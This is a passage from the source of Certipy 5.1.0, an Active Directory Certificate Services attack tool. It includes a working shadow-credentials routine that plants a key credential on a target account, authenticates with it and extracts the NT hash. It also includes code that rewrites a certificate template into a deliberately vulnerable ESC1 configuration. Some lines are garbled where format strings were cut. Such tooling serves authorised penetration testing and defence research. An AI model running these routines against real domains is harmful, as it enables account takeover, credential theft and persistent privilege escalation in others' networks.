f"Could not get the Key Credentials for {user.get('sAMAccountName')!r}"
)
return None
result = results[0]
return result.get("msDS-KeyCredentialLink")
def set_key_credentials(
self, target_dn: str, user: LDAPEntry, key_credential: List[Union[bytes, str]]
) -> bool:
"""
Set new Key Credentials for a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
key_credential: List of Key Credential binary values to set
Returns:
True on success, False on failure
"""
result = self.connection.modify(
target_dn,
{"msDS-KeyCredentialLink": [ldap3.MODIFY_REPLACE, key_credential]},
)
if result["result"] == 0:
return True
# Handle specific error cases with helpful messages
if result["result"] == 50:
logging.error(
f"Could not update Key Credentials for {user.get('sAMAccountName')!r} "
f"due to insufficient access rights: {result['message']}"
)
elif result["result"] == 19:
logging.error(
f"Could not update Key Credentials for {user.get('sAMAccountName')!r} "
f"due to a constraint violation: {result['message']}"
)
else:
logging.error(
f"Failed to update the Key Credentials for {user.get('sAMAccountName')!r}: "
f"{result['message']}"
)
return False
def generate_key_credential(
self, subject: str
) -> Tuple[
PrivateKeyTypes, x509.Certificate, shadow_credentials.KeyCredential, str
]:
"""
Generate a new certificate and Key Credential object.
Args:
subject: Certificate subject name
Returns:
Tuple containing (key, cert, key_credential, device_id)
"""
logging.info("Generating certificate")
# Ensure subject is not too long for AD
if len(subject) >= 64:
logging.warning("Subject too long. Limiting subject to 64 characters.")
subject = subject[:64]
# Generate a certificate valid for a long time (-40 to +40 years)
key, cert = shadow_credentials.createSelfSignedX509Certificate(
subject=subject,
kSize=2048, # Key size
)
logging.info("Certificate generated")
# Create a Key Credential from the certificate
logging.info("Generating Key Credential")
device_id = shadow_credentials.getDeviceId() # Generate a random device ID
key_credential = shadow_credentials.KeyCredential(
key=key,
deviceId=device_id,
currentTime=now_ticks(),
)
device_id = device_id.hex()
logging.info(f"Key Credential generated with DeviceID {device_id!r}")
return (key, cert, key_credential, device_id)
def add_new_key_credential(self, target_dn: str, user: LDAPEntry) -> Optional[
Tuple[
PrivateKeyTypes,
x509.Certificate,
List[Union[bytes, str]],
List[bytes],
str,
]
]:
"""
Add a new Key Credential to a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
Returns:
Tuple containing (key, cert, new_key_credential, saved_key_credential, device_id)
or None on failure
"""
# Generate a new Key Credential
sam_account_name = self._get_sam_account_name(user)
key, cert, key_credential, device_id = self.generate_key_credential(
sam_account_name
)
# Get the existing Key Credentials
saved_key_credential = self.get_key_credentials(target_dn, user)
if saved_key_credential is None:
saved_key_credential = []
# Create a new list including our new Key Credential
new_key_credential = saved_key_credential + [
shadow_credentials.toDNWithBinary2String(
key_credential.dumpBinary(),
target_dn,
)
]
logging.info(
f"Adding Key Credential with device ID {device_id!r} to the Key Credentials for "
f"{user.get('sAMAccountName')!r}"
)
# Update the user's Key Credentials
result = self.set_key_credentials(target_dn, user, new_key_credential)
if result is False:
return None
logging.info(
f"Successfully added Key Credential with device ID {device_id!r} to the Key Credentials for "
f"{user.get('sAMAccountName')!r}"
)
return (key, cert, new_key_credential, saved_key_credential, device_id)
def _get_target_dn(self, user: LDAPEntry) -> Optional[str]:
"""
Get the distinguished name from a user entry and validate it.
Args:
user: LDAP user entry
Returns:
Distinguished name string or None if invalid
"""
target_dn = user.get("distinguishedName")
if not isinstance(target_dn, str):
logging.error(
"Target DN is not a string. Cannot proceed with the operation."
)
return None
return target_dn
def _get_sam_account_name(self, user: LDAPEntry) -> str:
"""
Get the SAM account name from a user entry.
Args:
user: LDAP user entry
Returns:
SAM account name string
"""
sam_account_name = user.get("sAMAccountName")
if not isinstance(sam_account_name, str):
logging.warning(
"SAM account name is not a string. Falling back to the account name."
)
return self.account
return sam_account_name
def auto(self) -> Optional[str]:
"""
Automatically add a Key Credential, authenticate, get NT hash, and restore original state.
This is the most common attack scenario - adding a temporary Key Credential,
using it to authenticate and get the NT hash, then cleaning up by restoring
the original Key Credentials.
Returns:
NT hash string on success, False on failure
"""
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return None
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return None
# Add a new Key Credential
result = self.add_new_key_credential(target_dn, user)
if result is None:
return None
# Unpack the result
key, cert, _, saved_key_credential, _ = result
# Authenticate with the new Key Credential
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Authenticating as {sam_account_name!r} with the certificate")
authenticate = Authenticate(self.target, cert=cert, key=key)
_ = authenticate.authenticate(
username=sam_account_name,
is_key_credential=True,
domain=self.connection.domain,
)
# Cleanup by restoring the original Key Credentials
logging.info(f"Restoring the old Key Credentials for {sam_account_name!r}")
result = self.set_key_credentials(target_dn, user, saved_key_credential) # type: ignore
if result is True:
logging.info(
f"Successfully restored the old Key Credentials for {sam_account_name!r}"
)
# Return the obtained NT hash
logging.info(f"NT hash for {sam_account_name!r}: {authenticate.nt_hash}")
return authenticate.nt_hash
def add(self) -> bool:
"""
Add a new Key Credential to a user and save the certificate as a PFX file.
Returns:
True on success, False on failure
"""
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Add a new Key Credential
result = self.add_new_key_credential(target_dn, user)
if result is None:
return False
# Unpack the result
key, cert, _, _, _ = result
# Determine output filename
out = self.out
if out is None:
sam_account_name = self._get_sam_account_name(user)
out = f"{sam_account_name.rstrip('$')}.pfx"
# Create and save PFX
pfx = create_pfx(key, cert)
logging.info(f"Saving certificate and private key to {out!r}")
out = try_to_save_file(
pfx,
out,
)
logging.info(f"Saved certificate and private key to {out!r}")
return True
def list(self) -> bool:
"""
List all Key Credentials for a user.
Returns:
True if Key Credentials were found and listed, False otherwise
"""
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Get the Key Credentials
key_credentials = self.get_key_credentials(target_dn, user)
if key_credentials is None:
return False
# Handle empty Key Credentials
if len(key_credentials) == 0:
logging.info(
f"The Key Credentials attribute for {sam_account_name!r} "
f"is either empty or the current user does not have read permissions for the attribute"
)
return False
# List the Key Credentials
logging.info(f"Listing Key Credentials for {sam_account_name!r}")
for dn_binary_value in key_credentials:
key_credential_device_id, key_credential_creation_time = (
get_device_id_and_creation_from_binary(dn_binary_value)
)
creation_time = (
ticks_to_datetime(key_credential_creation_time)
if key_credential_creation_time
else None
)
creation_time_str = (
creation_time.strftime("%Y-%m-%d %H:%M:%S")
if creation_time
else "Unknown"
)
logging.info(
f"DeviceID: {key_credential_device_id or "Unknown"} | "
f"Creation Time (UTC): {creation_time_str}"
)
return True
def clear(self) -> bool:
"""
Clear all Key Credentials for a user.
Returns:
True on success, False on failure
"""
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Clear the Key Credentials
logging.info(f"Clearing the Key Credentials for {sam_account_name!r}")
result = self.set_key_credentials(target_dn, user, [])
if result is True:
logging.info(
f"Successfully cleared the Key Credentials for {sam_account_name!r}"
)
return result
def remove(self) -> bool:
"""
Remove a specific Key Credential identified by its Device ID.
Returns:
True on success, False on failure
"""
# Ensure a device ID was provided
if self.device_id is None:
logging.error(
"A device ID (-device-id) is required for the remove operation"
)
return False
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Get the Key Credentials
key_credentials = self.get_key_credentials(target_dn, user)
if key_credentials is None:
return False
# Handle empty Key Credentials
if len(key_credentials) == 0:
logging.info(
f"The Key Credentials attribute for {sam_account_name!r} "
f"is either empty or the current user does not have read permissions for the attribute"
)
return True
# Find and remove the specified Key Credential
device_id = self.device_id
new_key_credentials = []
device_id_in_current_values = False
for dn_binary_value in key_credentials:
key_credential_device_id, _ = get_device_id_and_creation_from_binary(
dn_binary_value
)
if key_credential_device_id == device_id:
logging.info(
f"Found device ID {device_id!r} in Key Credentials {sam_account_name!r}"
)
device_id_in_current_values = True
else:
new_key_credentials.append(dn_binary_value)
# Update the Key Credentials if the specified Device ID was found
if device_id_in_current_values:
logging.info(
f"Deleting the Key Credential with device ID {device_id!r} "
f"in Key Credentials for {sam_account_name!r}"
)
result = self.set_key_credentials(target_dn, user, new_key_credentials)
if result is True:
logging.info(
f"Successfully deleted the Key Credential with device ID {device_id!r} "
f"in Key Credentials for {sam_account_name!r}"
)
return result
else:
logging.error(
f"Could not find device ID {device_id!r} in Key Credentials for "
f"{sam_account_name!r}"
)
return False
def info(self) -> bool:
"""
Show detailed information about a specific Key Credential.
Returns:
True if the Key Credential was found and info displayed, False otherwise
"""
# Ensure a device ID was provided
if self.device_id is None:
logging.error("A device ID (-device-id) is required for the info operation")
return False
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Get the Key Credentials
key_credentials = self.get_key_credentials(target_dn, user)
if key_credentials is None:
return False
# Handle empty Key Credentials
if len(key_credentials) == 0:
logging.info(
f"The Key Credentials attribute for {sam_account_name!r} "
f"is either empty or the current user does not have read permissions for the attribute"
)
return True
# Find the specified Key Credential and display its info
device_id = self.device_id
for dn_binary_value in key_credentials:
key_credential_device_id, key_credential_creation_time = (
get_device_id_and_creation_from_binary(dn_binary_value)
)
if key_credential_device_id is None:
logging.error(
f"Failed to extract Device ID from Key Credential binary for {sam_account_name!r}"
)
return False
if key_credential_creation_time is None:
logging.error(
f"Failed to extract Creation Time from Key Credential binary for {sam_account_name!r}"
)
return False
if key_credential_device_id == device_id:
logging.info(
f"Found device ID {device_id!r} in Key Credentials {sam_account_name!r}"
)
creation_time = ticks_to_datetime(key_credential_creation_time)
creation_time_str = (
creation_time.strftime("%Y-%m-%d %H:%M:%S")
if creation_time
else "Unknown"
)
logging.info(
f"DeviceID: {key_credential_device_id} | "
f"Creation Time (UTC): {creation_time_str}"
)
return True
logging.error(
f"Could not find device ID {device_id!r} in Key Credentials for "
f"{sam_account_name!r}"
)
return False
def unpack_data(data: bytes) -> List[Tuple[int, bytes]]:
"""
Unpack binary data into a list of (field_type, field_value) tuples.
This function parses the Key Credential binary format by reading fields
consisting of a 2-byte length, 1-byte type, and variable-length value.
Args:
data: Binary data to unpack (Key Credential binary)
Returns:
List of tuples containing field type and value
"""
fields = []
# Skip the first 4 bytes which contain the version information
offset = 4
while offset < len(data):
# Each field has a 2-byte length and 1-byte type header
length, field_type = struct.unpack(" bytes:
"""
Convert a DNWithBinary string to its binary representation.
DNWithBinary format: "B:::"
Example: "B:826:4e544c4d5353500001....:CN=User,DC=domain,DC=com"
Args:
dn_with_binary: DNWithBinary string or bytes
Returns:
Binary representation of the DNWithBinary
Raises:
ValueError: If the DNWithBinary format is invalid
"""
if isinstance(dn_with_binary, bytes):
# Convert bytes to string if needed
dn_with_binary = dn_with_binary.decode()
# DNWithBinary format is "B:::"
parts = dn_with_binary.split(":")
if len(parts) != 4:
raise ValueError(
f"Invalid DNWithBinary format: expected 4 parts but got {len(parts)}"
)
# Extract and validate the binary data
length = int(parts[1])
hex_data = parts[2]
if len(hex_data) != length:
raise ValueError(
f"Hex data length mismatch: stated {length} but actual {len(hex_data)}"
)
# Convert hex string to binary data
return bytes.fromhex(hex_data)
def get_device_id_and_creation_from_binary(
key_credential: bytes,
) -> Tuple[Optional[str], Optional[int]]:
"""
Extract Device ID and Creation Time from a Key Credential binary.
Args:
key_credential: Key Credential binary data or DNWithBinary string/bytes
Returns:
Tuple containing (device_id, creation_time) where:
- device_id is a hex string
- creation_time is Windows ticks (100ns intervals since Jan 1, 1601)
Returns (None, None) if extraction fails
"""
try:
# Convert from DNWithBinary format if needed
key_credential_binary = binary_data_from_dn_with_binary(key_credential)
# Parse the binary data into fields
fields = unpack_data(key_credential_binary)
# Extract device ID and creation time from fields
device_id = None
creation_time = None
for field_type, field_value in fields:
if field_type == 0x6: # Device ID field
device_id = field_value.hex()
elif field_type == 0x9: # Creation time field (8-byte Windows timestamp)
creation_time = struct.unpack(" int:
"""
Get the current time in Windows ticks (100ns intervals since Jan 1, 1601 UTC).
Used for creating timestamps in Key Credential objects.
Returns:
Current time as Windows ticks
"""
# Windows ticks: 100ns intervals since January 1, 1601 UTC
windows_epoch = datetime.datetime(1601, 1, 1, tzinfo=datetime.timezone.utc)
now = datetime.datetime.now(datetime.timezone.utc)
# Convert seconds to 100ns intervals (multiply by 10M)
return int((now - windows_epoch).total_seconds() * 1e7)
def ticks_to_datetime(ticks: int) -> datetime.datetime:
"""
Convert Windows ticks to a UTC datetime object.
Args:
ticks: Number of 100ns intervals since January 1, 1601 UTC
Returns:
UTC datetime object
"""
windows_epoch = datetime.datetime(1601, 1, 1, tzinfo=datetime.timezone.utc)
# Convert ticks (100ns intervals) to microseconds by dividing by 10
delta_microseconds = ticks / 10
return windows_epoch + datetime.timedelta(microseconds=delta_microseconds)
def entry(options: argparse.Namespace) -> None:
"""
Command-line entry point for Shadow Authentication operations.
Args:
options: Command-line arguments
"""
# Create target from options
target = Target.from_options(options)
# Use provided account or default to the authenticated username
account = options.account
if account is None:
account = target.username
if account is None:
logging.error("An account (-account) is required")
return
# Remove processed options
options.__delattr__("account")
options.__delattr__("target")
# Create Shadow instance
shadow = Shadow(target=target, account=account, **vars(options))
# Map actions to methods
actions = {
"auto": shadow.auto, # Add Key Credential, authenticate, get NT hash, restore
"add": shadow.add, # Add Key Credential and save PFX
"list": shadow.list, # List all Key Credentials
"clear": shadow.clear, # Remove all Key Credentials
"remove": shadow.remove, # Remove specific Key Credential
"info": shadow.info, # Show info about specific Key Credential
}
# Execute the requested action
actions[options.shadow_action]()
Certipy-5.1.0/certipy/commands/template.py 0000775 0000000 0000000 00000046675 15216574665 0020647 0 ustar 00root root 0000000 0000000 """
Certificate Template Management Module.
This module implements the functionality to view and modify Active Directory
certificate templates, allowing security assessment and exploitation of
misconfigured templates in AD CS environments.
"""
import argparse
import collections
import json
from itertools import groupby
from typing import Any, Dict, Optional
import ldap3
from ldap3.core.results import RESULT_INSUFFICIENT_ACCESS_RIGHTS
from ldap3.protocol.microsoft import security_descriptor_control
from ldap3.utils.conv import escape_filter_chars
from certipy.lib.constants import (
OID_TO_STR_NAME_MAP,
CertificateNameFlag,
EnrollmentFlag,
PrivateKeyFlag,
TemplateFlags,
)
from certipy.lib.files import try_to_save_file
from certipy.lib.ldap import LDAPConnection, LDAPEntry
from certipy.lib.logger import logging
from certipy.lib.security import create_sd
from certipy.lib.target import Target
from certipy.lib.time import (
SECONDS_PER_WEEK,
SECONDS_PER_YEAR,
filetime_to_span,
span_to_filetime,
)
# Attributes that should not be modified to avoid breaking template functionality
PROTECTED_ATTRIBUTES = [
"objectClass",
"cn",
"distinguishedName",
"whenCreated",
"whenChanged",
"name",
"objectGUID",
"objectCategory",
"dSCorePropagationData",
"msPKI-Cert-Template-OID",
"uSNCreated",
"uSNChanged",
"displayName",
"instanceType",
"revision",
"msPKI-Template-Schema-Version",
"msPKI-Template-Minor-Revision",
]
def create_esc1_template(sid: str) -> dict[str, Any]:
"""
ESC1 vulnerable template configuration with full control for the passed sid.
This configuration creates a template that allows `sid` to enroll
and obtain certificates with client authentication EKU.
"""
return {
"showInAdvancedViewOnly": True,
# Security descriptor giving `sid` full control
"nTSecurityDescriptor": create_sd(sid).getData(),
"flags": int(
TemplateFlags.PUBLISH_TO_DS
| TemplateFlags.EXPORTABLE_KEY
| TemplateFlags.AUTO_ENROLLMENT
| TemplateFlags.ADD_TEMPLATE_NAME
| TemplateFlags.IS_DEFAULT
), # Template flags
"pKIDefaultKeySpec": 2, # AT_SIGNATURE
"pKIKeyUsage": b"\x86\x00", # Digital Signature, Key Encipherment
"pKIMaxIssuingDepth": -1, # Maximum depth value for the Basic Constraint extension (-1 means no limit)
"pKICriticalExtensions": [
"2.5.29.19", # Basic Constraints
"2.5.29.15", # Key Usage
], # Critical extensions
"pKIExpirationPeriod": span_to_filetime(SECONDS_PER_YEAR), # 1 year validity
"pKIOverlapPeriod": span_to_filetime(SECONDS_PER_WEEK * 6), # 6 week overlap
"pKIExtendedKeyUsage": [
OID_TO_STR_NAME_MAP["client authentication"],
],
"msPKI-Certificate-Application-Policy": [
OID_TO_STR_NAME_MAP["client authentication"],
],
"pKIDefaultCSPs": [
"2,Microsoft Base Cryptographic Provider v1.0",
"1,Microsoft Enhanced Cryptographic Provider v1.0",
],
"msPKI-RA-Signature": 0, # No recovery agent signatures required
"msPKI-Enrollment-Flag": int(
EnrollmentFlag.NONE
), # No special enrollment flags
"msPKI-Private-Key-Flag": int(PrivateKeyFlag.EXPORTABLE_KEY), # Allow export
"msPKI-Certificate-Name-Flag": int(
CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT
), # Name flags
"msPKI-Minimal-Key-Size": 2048, # Minimum 2048-bit key
}
TRANSFORMERS = {
"pKIOverlapPeriod": (filetime_to_span, span_to_filetime),
"pKIExpirationPeriod": (filetime_to_span, span_to_filetime),
}
def default_into_transformer(value: Any) -> Any:
"""
Default transformer function that returns the value unchanged.
Args:
value: The value to transform
Returns:
The original value
"""
if isinstance(value, list):
return [default_into_transformer(item) for item in value]
if isinstance(value, bytes):
return "HEX:" + value.hex()
return value
def default_from_transformer(value: Any) -> Any:
"""
Default transformer function that converts a value to its original form.
Args:
value: The value to transform
Returns:
The original value
"""
if isinstance(value, list):
return [default_from_transformer(item) for item in value]
if isinstance(value, str) and value.startswith("HEX:"):
return bytes.fromhex(value[4:])
return value
class Template:
"""
Certificate Template management class for viewing and modifying AD CS templates.
This class provides functionality to retrieve, save, and modify certificate
template configurations in Active Directory Certificate Services.
"""
def __init__(
self,
target: "Target",
template: str = "",
write_configuration: Optional[str] = None,
write_default_configuration: Optional[str] = None,
save_configuration: Optional[str] = None,
no_save: bool = False,
force: bool = False,
connection: Optional[LDAPConnection] = None,
**kwargs, # type: ignore
):
"""
Initialize a Template object for certificate template operations.
Args:
target: Target domain information
template: Name of the certificate template to operate on
write_configuration: Path to configuration file to apply
write_default_configuration: Whether to apply the default ESC1 configuration (optionally with target SID)
save_configuration: Path to save the current configuration
no_save: Whether to skip saving the current configuration
force: Do not prompt for confirmation before applying changes
scheme: LDAP connection scheme (ldap or ldaps)
connection: Optional existing LDAP connection to reuse
**kwargs: Additional keyword arguments
"""
self.target = target
self.template_name = template
self.write_configuration_file = write_configuration
self.write_default_configuration = write_default_configuration
self.save_configuration_file = save_configuration
self.no_save = no_save
self.force = force
self.kwargs = kwargs
self._connection = connection
@property
def connection(self) -> LDAPConnection:
"""
Lazily establish and return an LDAP connection.
Returns:
An active LDAP connection to the target domain
"""
if self._connection is not None:
return self._connection
self._connection = LDAPConnection(self.target)
self._connection.connect()
return self._connection
def configuration_to_json(self, configuration: Dict[str, Any]) -> str:
"""
Convert a template configuration to a JSON string.
Converts binary attribute values to their hexadecimal representation
for storage in JSON format.
Args:
configuration: Template configuration dictionary
Returns:
JSON string representation of the configuration
"""
output = {}
for key, value in configuration.items():
if key in PROTECTED_ATTRIBUTES:
continue
into_transformer, _ = TRANSFORMERS.get(
key, (default_into_transformer, None)
)
output[key] = into_transformer(value)
return json.dumps(output, indent=2, ensure_ascii=False)
def get_configuration(self, template_name: str) -> Optional[LDAPEntry]:
"""
Retrieve the configuration for a certificate template from AD.
Searches for the template by CN or displayName and returns its configuration.
Args:
template_name: Name of the certificate template to find
Returns:
LDAPEntry containing the template configuration or None if not found
"""
escaped_template = escape_filter_chars(template_name)
# First try searching by CN
results = self.connection.search(
search_filter=f"(&(cn={escaped_template})(objectClass=pKICertificateTemplate))",
search_base=self.connection.configuration_path,
query_sd=True,
)
# If not found by CN, try displayName
if not results:
results = self.connection.search(
f"(&(displayName={escaped_template})(objectClass=pKICertificateTemplate))",
search_base=self.connection.configuration_path,
query_sd=True,
)
if not results:
logging.error(
f"Could not find any certificate template for {template_name!r}"
)
return None
if len(results) > 1:
# This should never happen, but just in case
logging.error(
f"Found multiple certificate templates identified by {template_name!r}"
)
return None
return results[0]
def json_to_configuration(
self, configuration_json: Dict[str, Any]
) -> Dict[str, Any]:
"""
Convert a JSON configuration back to a usable LDAP configuration.
Converts hexadecimal strings back to binary data for LDAP operations.
Args:
configuration_json: Dictionary loaded from JSON
Returns:
Configuration dictionary with binary values ready for LDAP
"""
output = {}
for key, value in configuration_json.items():
if key in PROTECTED_ATTRIBUTES:
continue
_, from_transformer = TRANSFORMERS.get(
key, (None, default_from_transformer)
)
output[key] = from_transformer(value)
return output
def load_configuration(self, configuration_path: str) -> Dict[str, Any]:
"""
Load a template configuration from a JSON file.
Args:
configuration_path: Path to the configuration JSON file
Returns:
Configuration dictionary with binary values
Raises:
ValueError: If the JSON file doesn't contain a dictionary
FileNotFoundError: If the configuration file can't be found
"""
try:
with open(configuration_path, "r") as f:
configuration_json = json.load(f)
if not isinstance(configuration_json, dict):
raise ValueError(
f"Expected a JSON object, got {type(configuration_json)!r}"
)
return self.json_to_configuration(configuration_json)
except FileNotFoundError:
logging.error(f"Configuration file not found: {configuration_path}")
raise
except json.JSONDecodeError:
logging.error(f"Invalid JSON in configuration file: {configuration_path}")
raise ValueError("Invalid JSON in configuration file")
except Exception as e:
logging.error(f"Error loading configuration file: {e}")
raise
def save_configuration(self, configuration: Optional[LDAPEntry] = None) -> None:
"""
Save the current configuration to a JSON file.
"""
# Get the current configuration
current_configuration = configuration
if current_configuration is None:
current_configuration = self.get_configuration(self.template_name)
if not current_configuration:
raise Exception(
f"Failed to retrieve configuration for {self.template_name!r}. Aborting."
)
current_configuration_json = self.configuration_to_json(
current_configuration["attributes"]
)
out_file = (
self.save_configuration_file.removesuffix(".json")
if self.save_configuration_file
else current_configuration.get("cn")
)
out_file = f"{out_file}.json"
logging.info(f"Saving current configuration to {out_file!r}")
out_file = try_to_save_file(
current_configuration_json, out_file, abort_on_fail=True
)
logging.info(
f"Wrote current configuration for {self.template_name!r} to {out_file!r}"
)
def write_configuration(self) -> bool:
"""
Apply a new configuration to a certificate template.
If no configuration file is provided, applies the default vulnerable
configuration. If save_old is True, saves the current configuration
before applying changes.
Returns:
True if the template was successfully updated, False otherwise
"""
if not self.template_name:
logging.error("A template (-template) is required")
return False
# Get the configuration to apply
if self.write_configuration_file:
try:
new_configuration = self.load_configuration(
self.write_configuration_file
)
except (FileNotFoundError, ValueError):
return False
else:
# Only needed to make the typechecker pass. At this position in write_configuration,
# the options write_configuration_file and write_default_configuration are mutually
# exclusive so this should always pass.
assert self.write_default_configuration is not None
# Use the default vulnerable configuration
new_configuration = create_esc1_template(self.write_default_configuration)
# Get the current configuration
old_configuration = self.get_configuration(self.template_name)
if not old_configuration:
return False
# Save the old configuration if requested
if not self.no_save:
self.save_configuration(old_configuration)
# Compute the changes to make
changes = self._compute_changes(old_configuration, new_configuration)
if not changes:
logging.warning(
"New configuration is the same as old configuration. Not updating"
)
return False
# Apply the changes
return self._apply_changes(old_configuration, changes)
def _compute_changes(
self, old_configuration: LDAPEntry, new_configuration: Dict[str, Any]
) -> Dict[str, Any]:
"""
Compute the changes needed to update a template configuration.
Args:
old_configuration: Current template configuration
new_configuration: New template configuration to apply
Returns:
Dictionary of changes to apply using LDAP modify operation
"""
changes = {}
# Check for attributes to delete or modify
for key in old_configuration["attributes"].keys():
if key in PROTECTED_ATTRIBUTES:
continue
# Delete attributes not in the new configuration
if key not in new_configuration:
changes[key] = [(ldap3.MODIFY_DELETE, [])]
continue
# Replace attributes with new values if different
old_value = old_configuration.get(key)
new_value = new_configuration[key]
if type(old_value) != type(new_value):
changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]
continue
if isinstance(old_value, list):
# Check if the list values are different
if collections.Counter(old_value) != collections.Counter(new_value):
changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]
continue
if old_value != new_value:
changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]
# Add new attributes not in the old configuration
for key, value in new_configuration.items():
if (
key in changes
or key in PROTECTED_ATTRIBUTES
or key in old_configuration["attributes"]
):
continue
changes[key] = [(ldap3.MODIFY_ADD, value)]
return changes
def _apply_changes(
self, old_configuration: LDAPEntry, changes: Dict[str, Any]
) -> bool:
"""
Apply computed changes to a template configuration.
Args:
old_configuration: Current template configuration
changes: Dictionary of changes to apply
Returns:
True if changes were applied successfully, False otherwise
"""
template_name = old_configuration.get("cn")
logging.info(f"Updating certificate template {template_name!r}")
# Log the changes grouped by operation type
self._log_changes(changes)
if not self.force:
# Ask for confirmation before applying changes
confirm = input(
f"Are you sure you want to apply these changes to {template_name!r}? (y/N): "
)
if confirm.strip().lower() != "y":
logging.info("Aborting changes")
return False
# Apply the changes
result = self.connection.modify(
old_configuration.get("distinguishedName"),
changes,
controls=security_descriptor_control(sdflags=0x4),
)
if result["result"] == 0:
logging.info(f"Successfully updated {template_name!r}")
return True
elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:
logging.error(
f"User {self.target.username!r} doesn't have permission to update "
f"these attributes on {template_name!r}"
)
else:
logging.error(f"Got error: {result['message']}")
return False
def _log_changes(self, changes: Dict[str, Any]) -> None:
"""
Log the changes to be applied, grouped by operation type.
Args:
changes: Dictionary of changes to apply
"""
# Group changes by operation (MODIFY_DELETE, MODIFY_REPLACE, MODIFY_ADD)
by_op = lambda item: item[1][0][0]
for op, group in groupby(sorted(changes.items(), key=by_op), by_op):
op_name = {
ldap3.MODIFY_ADD: "Adding",
ldap3.MODIFY_DELETE: "Deleting",
ldap3.MODIFY_REPLACE: "Replacing",
}.get(op, op)
logging.info(f"{op_name}:")
for item in list(group):
key = item[0]
value = item[1][0][1]
logging.info(f" {key}: {value!r}")
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the template command.
Args:
options: Command-line arguments
"""
target = Target.from_options(options, dc_as_target=True)
# Remove target from options to avoid duplicate argument
options.__delattr__("target")
template = Template(target=target, **vars(options))
will_write = (
template.write_default_configuration is not None
) or template.write_configuration_file
if template.save_configuration_file:
template.save_configuration()
if will_write:
template.write_configuration()
# if template.write_default_configuration or template.configuration:
# # Apply the configuration
# if not template.set_configuration():
# logging.error("Failed to set the template configuration")
# return
# _ = template.set_configuration()
Certipy-5.1.0/certipy/entry.py 0000775 0000000 0000000 00000003437 15216574665 0016361 0 ustar 00root root 0000000 0000000 # PYTHON_ARGCOMPLETE_OK
import argparse
import logging
import sys
import argcomplete
from certipy import version
from certipy.commands.parsers import ENTRY_PARSERS
from certipy.lib import logger
from certipy.lib.errors import handle_error
def main() -> None:
logger.init()
print(version.BANNER, file=sys.stderr)
if "-debug" in sys.argv or "--debug" in sys.argv:
sys.argv = [arg for arg in sys.argv if arg not in ["-debug", "--debug"]]
logger.logging.setLevel(logging.DEBUG)
logger.set_verbose(True)
else:
logger.logging.setLevel(logging.INFO)
for arg in sys.argv:
if arg.lower() in ["--version", "-v", "-version"]:
return
parser = argparse.ArgumentParser(
add_help=False,
description="Active Directory Certificate Services enumeration and abuse",
)
_ = parser.add_argument(
"-v",
"--version",
action="store_true",
help="Show Certipy's version number and exit",
default=argparse.SUPPRESS,
)
_ = parser.add_argument(
"-h",
"--help",
action="help",
default=argparse.SUPPRESS,
help="Show this help message and exit",
)
subparsers = parser.add_subparsers(help="Action", dest="action", required=True)
actions = {}
for entry_parser in ENTRY_PARSERS:
action, entry = entry_parser.add_subparser(subparsers)
actions[action] = entry
argcomplete.autocomplete(parser, always_complete_options=False)
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
try:
actions[options.action](options)
except Exception as e:
logger.logging.error(f"Got error: {e}")
handle_error()
if __name__ == "__main__":
main()
Certipy-5.1.0/certipy/lib/ 0000775 0000000 0000000 00000000000 15216574665 0015402 5 ustar 00root root 0000000 0000000 Certipy-5.1.0/certipy/lib/__init__.py 0000664 0000000 0000000 00000000000 15216574665 0017501 0 ustar 00root root 0000000 0000000 Certipy-5.1.0/certipy/lib/bloodhound.py 0000664 0000000 0000000 00000002443 15216574665 0020114 0 ustar 00root root 0000000 0000000 from typing import Tuple
class BloodHoundError(Exception):
pass
def resolve_type(labels: frozenset[str]):
for type in ["User", "Group", "Computer"]:
if type in labels:
return type.upper()
return "UNKNOWN"
class BloodHound:
def __init__(
self, user: str, password: str, host: str = "localhost", port: int = 7687
):
try:
from neo4j import GraphDatabase
except ImportError:
raise BloodHoundError(
"Please install the 'bloodhound' extra to use this feature"
)
self.driver = GraphDatabase.driver(
f"neo4j://{host}:{port}",
auth=(user, password),
)
def get_owned_sids(self):
records, _, _ = self.driver.execute_query(
"MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE COALESCE(u.system_tags, '') CONTAINS 'owned' return g.objectid"
)
for record in records:
yield record["g.objectid"]
def lookup_sid(self, sid: str) -> Tuple[str, str]:
records, _, _ = self.driver.execute_query(
"MATCH (g {objectid:$sid}) return g", sid=sid
)
if records:
return records[0]["g"]["name"], resolve_type(records[0]["g"].labels)
raise BloodHoundError("SID not found")
Certipy-5.1.0/certipy/lib/certificate.py 0000775 0000000 0000000 00000133677 15216574665 0020262 0 ustar 00root root 0000000 0000000 """
Certificate handling utilities for Certipy.
This module provides functions and classes for:
